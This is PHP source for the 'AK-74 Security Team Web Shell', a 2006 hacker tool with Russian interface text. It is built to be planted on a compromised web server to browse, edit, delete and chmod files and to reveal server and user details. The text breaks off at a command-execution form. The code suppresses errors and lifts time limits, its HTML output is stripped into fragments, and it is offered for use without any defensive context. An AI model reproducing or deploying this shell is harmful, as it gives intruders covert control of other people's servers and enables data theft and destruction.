/*
.:: :[AK-74 Security Team Web Shell Beta Version]: ::.
- AK-74 Security Team Web Site: www.ak74-team.net
- Released on 01 June 2006.
- Copyright AK-74 Security Team, 2006.
- Thank you for using our script.
*/
error_reporting(0);
set_time_limit(0);
session_start();
$xshell = $SERVER_['PHP_SELF'];
class shell
{
function getfiles()
{
$mas = array();
$i = 0;
if ($handle = opendir($_SESSION['currentdir']))
{
while (false !== ($file = readdir($handle)))
if ($file != '..')
if (!is_dir($_SESSION['currentdir'].'/'.$file))
{
$mas[$i]['filename'] = $file;
$mas[$i]['filesize'] = filesize($_SESSION['currentdir'].'/'.$file);
$mas[$i]['lastmod'] = date("H.i/d.m.Y", filemtime($_SESSION['currentdir'].'/'.$file));
$i++;
}
closedir($handle);
}
return $mas;
}
function getdirs()
{
$mas = array();
if ($handle = opendir($_SESSION['currentdir']))
{
while (false !== ($dir = readdir($handle)))
if ($dir != '.' && is_dir($_SESSION['currentdir'].'/'.$dir))
$mas[] = $dir;
closedir($handle);
}
return $mas;
}
function geturl()
{
if ($_SESSION['currentdir'].'/' == $_SERVER['DOCUMENT_ROOT'])
return '/';
if (strpos($_SESSION['currentdir'],str_replace('\\','/',$_SERVER['DOCUMENT_ROOT'])) === false)
return '';
return str_replace($_SERVER['DOCUMENT_ROOT'],'',$_SESSION['currentdir'].'/');
}
function removefile()
{
if (file_exists($_GET['file']))
{
chmod($_GET['file'],0777);
if (unlink($_GET['file']))
return 'Файл удален!';
else
return 'Файл удален!';
}
else
return 'Файл не найден!';
}
function removedir()
{
chmod($_GET['dir'],0777);
if (rmdir($_GET['dir']))
return 'Директория удалена!';
else
return 'Директория не найденa!';
}
function getmicrotime()
{
list($usec, $sec) = explode(" ",microtime());
return ((float)$usec + (float)$sec);
}
function getpermission($path)
{
$perms = fileperms($path);
if (($perms & 0xC000) == 0xC000)
$info = 's';
elseif (($perms & 0xA000) == 0xA000)
$info = 'l';
elseif (($perms & 0x8000) == 0x8000)
$info = '-';
elseif (($perms & 0x6000) == 0x6000)
$info = 'b';
elseif (($perms & 0x4000) == 0x4000)
$info = 'd';
elseif (($perms & 0x2000) == 0x2000)
$info = 'c';
elseif (($perms & 0x1000) == 0x1000)
$info = 'p';
else
$info = 'u';
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function getpermissionarray($path)
{
$res = array();
$perms = fileperms($path);
if (($perms & 0xC000) == 0xC000)
$res[] = 's';
elseif (($perms & 0xA000) == 0xA000)
$res[] = 'l';
elseif (($perms & 0x8000) == 0x8000)
$res[] = '-';
elseif (($perms & 0x6000) == 0x6000)
$res[] = 'b';
elseif (($perms & 0x4000) == 0x4000)
$res[] = 'd';
elseif (($perms & 0x2000) == 0x2000)
$res[] = 'c';
elseif (($perms & 0x1000) == 0x1000)
$res[] = 'p';
else
$res[] = 'u';
$res[] = (($perms & 0x0100) ? 'r' : '-');
$res[] = (($perms & 0x0080) ? 'w' : '-');
$res[] = (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
$res[] = (($perms & 0x0020) ? 'r' : '-');
$res[] = (($perms & 0x0010) ? 'w' : '-');
$res[] = (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
$res[] = (($perms & 0x0004) ? 'r' : '-');
$res[] = (($perms & 0x0002) ? 'w' : '-');
$res[] = (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
return $res;
}
function outputhead()
{
$res = '';
$res .= '
AK-74 Security Team Web Shell
.:: :[ AK-74 Security Team Web-shell ]: ::.
|
';
return $res;
}
function outputmenu()
{
$res = '';
$res .= '
|
';
return $res;
}
function outputdown()
{
$res = '';
$res .= '
';
return $res;
}
function outputfilemanager()
{
$res = '';
$number = 0;
$dirs = $this->getdirs();
$files = $this->getfiles();
sort($dirs);
sort($files);
$res .= '
Текущая директория:'.$_SESSION['currentdir'].'
|
|
|
Размер, байт
|
Последнее изменение
|
Права доступа
|
|
|
';
for ($i = 0; $i < count($dirs); $i++)
{
$res .= ''.(++$number).' | '.$dirs[$i].' | | | ';
$res .= ''.($this->getpermission($_SESSION['currentdir'].'/'.$dirs[$i])).'';
$res .= ' | | delete |
';
}
for ($i = 0; $i < count($files); $i++)
{
$res .= ''.(++$number).' | ';
$res .= ''.$files[$i]['filename'].' | ';
$res .= ' '.$files[$i]['filesize'].' | ';
$res .= ''.$files[$i]['lastmod'].' | ';
$res .= ''.($this->getpermission($_SESSION['currentdir'].'/'.$files[$i]['filename'])).' | ';
$res .= 'edit | ';
$res .= 'delete |
';
}
$res .= '
';
$res .= '';
$res .= ' | |
';
$res .= ' | |
';
$res .= ' | и присвоить имя | |
';
$res .= '';
$res .= 'Copyright AK-74 Security Team 2005 - '.date("Y").' |
';
return $res;
}
function outputinfo()
{
$res = '';
$res .= '
Общая информация о сервере
|
1. OS - '.(php_uname()).'
2. Версия PHP - '.(phpversion()).'
3. User - '.( get_current_user()).' || User ID - '.( getmyuid()).' || Group ID - '.( getmygid ()).'
4. Server Software - '.(getenv('SERVER_SOFTWARE')).'
5. Request Method - '.(getenv('REQUEST_METHOD')).'
6. Server IP - '.(getenv('SERVER_ADDR')).'
7. Your IP - '.(getenv('REMOTE_ADDR')).'
8. X Forwarded For IP - '.(getenv('HTTP_X_FORWARDED_FOR')).'
|
Copyright AK-74 Security Team 2005 - '.date("Y").' |
';
return $res;
}
function chmodform($file)
{
$perms = $this->getpermissionarray($file);
$res = '';
$res .= '';
return $res;
}
function editfileform($file)
{
$fp = fopen($file,'r');
if (!$fp)
return 'Редактирование файла';
$res = '';
$res .= '';
fclose($fp);
return $res;
}
function executeform()
{
$res = '';
$res .= '